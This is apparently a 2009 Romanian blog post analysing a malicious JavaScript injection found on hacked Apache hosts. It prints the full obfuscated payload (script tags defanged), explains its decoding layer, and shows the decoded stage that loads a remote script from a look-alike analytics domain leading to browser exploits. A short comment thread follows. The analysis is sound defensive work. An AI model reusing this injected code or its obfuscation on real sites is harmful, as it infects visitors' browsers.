Vineri seara am fost sunat de un prieten care mi-a spus ca tocmai fusese hack-uit. Exploit-ul, dupa informatiile prietenului meu, era de prin mai, si a avut ca rezulat infectarea tuturor hosturilor virtuale apache cu un script java. Cind am primit scriptul mi-a atras atentia modul diferit in care fusese ascuns codul sursa al scriptului java. El arata cam asa:
<!–44e8ef75ef25fc970a79a3ccb704ad42–><sc!!!!!!!!!!ript language=javascript>zahlpc=”Jl#tWL%POTzGHriViVz#LiY”;rvxleu=”<Q73crQ69pt laQ6egQ75age=jQ61vQ61scriQ70t> funcQ74ioQ6e djjQ78tQ6cgs(hlyzcQ6arQ29Q7bQ76aQ72 Q67ynQ73zty,Q6dQ76Q6ewQ63zQ6fQ6dfQ3d\”#(7Q6eTbQ55OQ50VQ36Q4aQ63:+Q5e1Q7e9Q24u_iQ29yo5Q72@,2Q6bQ30Q60&Q45Q77MQ20|Q7bQ674Q3djvQ64Q74CxIFhNm]Q3b}fQ71Q213[HaQ7aB-AZps*Q6cQ47e8Q5c\"'Q4bQ2eQ22,Q70Q65Q77yhg=\"Q22Q2cQ66Q61Q73ltdsQ2cqQ6brkjQ6cQ77f,tQ68yQ69Q74dkii=Q22Q22,hpoQ70Q75oQ69;Q66oQ72(gynsztQ79=0;gynszQ74yQ3cQ68lyzcjr.lengQ74Q68;gQ79nQ73Q7aty+Q2bQ29{ Q66Q61sQ6cQ74Q64sQ3dhlyQ7acjr.chaQ72AQ74(Q67yQ6eszty);qkrQ6bjlwQ66=Q6dvnwQ63Q7aomf.iQ6edexOf(Q66asltds)Q3biQ66(Q71Q6brkQ6aQ6cwfQ3e-1){ hQ70opuoiQ3d(Q28Q71krkjlQ77Q66Q2bQ31)Q25Q381Q2d1Q29;Q69fQ28Q68pQ6fQ70uoiQ3c=0Q29Q68pQ6fpuQ6fQ69+=8Q31;thQ79itdQ6bQ69i+Q3dmvQ6ewczQ6fQ6df.Q63haQ72Q41Q74(hpoQ70uoi-Q31Q29Q3bQ20} Q65lseQ20tQ68yQ69Q74dQ6biiQ2b=fQ61Q73Q6ctQ64s;Q7dQ70eQ77Q79hg+Q3dQ74Q68Q79itdQ6biQ69Q3bQ64Q6fcumeQ6eQ74.Q77rQ69Q74Q65(peQ77Q79hQ67Q29Q3b}Q3cQ2fsQ63Q72iptQ3e";fmxoqyuh=zahlpc.charAt(6);vrbnnv=rvxleu.replace(/(jjuysyvwv|Q|xmmwgridfz)/g,fmxoqyuh);sqlwbat=unescape(vrbnnv);var agfwxg,kbptlkr;document.write(sqlwbat);agfwxg="<NC]G>|<*:@)sC|Cos8j’C8IC/vzdz*:@)sC’|GzT4_z48j’vzdz*:@)sC’>||dz@|8Is)@o|j|T8M|DzC87y}|8Is)@o#*8Cb)]878Is)@o#48Cb)]87y|^|k=lJ`lJ`l~“`y}|t5:_]8TC#:550)8jK*8**)5T)tj[$~k\"J`rZr[~}|szCNj/}|8Is)@8*jK|^|8Is)@o#C5e bSC@)T47y}||t5:_]8TC#M@)C87|’<SxRFVb|GzT4_z48j\\’czdzS:@)sC\\’|SRxj\\’NCCs+//4554G8zTzGoCG:*#T8C/ii_C]v#v*\\’><\\/SxRFVb>’|y}</*:@)sC>|</NC]G>|”;djjxtlgs(agfwxg);</sc!!!!!!ript><!–44e8ef75ef25fc970a79a3ccb704ad42–>
Semnele de exclamatie din cuvintul script imi apartin pentru a evita o eventuala executie a lui.
Dupa cum se vede, scriptul selecteaza din variabila “zahlpc”, caracterul al saptelea “%”, apoi caracterul Q este inlocuit cu “%” , si astfel sint returnate codurile asci ale caracterelor ce formeaza codul sursa. Acesta este primul layer de ascundere a codului. Apoi rezulta un nou script java care desfacut va arata asa:
<ht!!!!ml> <scr!!!!!!!ipt type=”text/javascript” language=”javascript”> var expiry = new Date(); expiry.setTime(expiry.getTime() + 24*60*60*1000); document.cookie=’sessionid=39128605A531; path=/; expires=’ + expiry.toGMTString(); document.write( “<SCR!!!!!!IPT language=\”JavaScript\” SRC=\”http://googleanalytlcs.net/__utmj.js\”><\/SCR!!!!!IPT>” );</scr!!!!!!!!!!!!ipt> </ht!!!!!ml>
Exte un script care citeste sessionsid-ul clientului pentru serverului care a fost infectat si impreuna cu data expirarii este trimis serverului googleanalytlcs.net. Sciptul java aflat aici va face call pentru un alt script de pe un alt site care va incerca exploatarea browserului. Site-ul din spate se schimba mereu.
O cautare in log-ul proxy-ului companiei unde lucrez arata ca exista destule site-uri romanesti care au fost infectate cu asa ceva. Deci recomand tuturor sa blocheze aceasta destinatie in proxy-uri.
O zi buna si va tin la curent in momentul in care am access la serverul care a fost exploatat cu detalii despre exploit.

3 comments
Comments feed for this article
iunie 12, 2009 la 7:36 am
cristi
Keep up the good work Cezar.
iunie 24, 2009 la 8:03 pm
Gigi
salut,
am aceeasi problema, ma poti ajuta ?
ms
iunie 25, 2009 la 7:01 am
Cezar
@Gigi,
Normal ca da. Te rog sa-mi dai adresa ta de mail, ca sa vorbim mai mult. Cea indicata nu pare a fi si cea corecta.
Cezar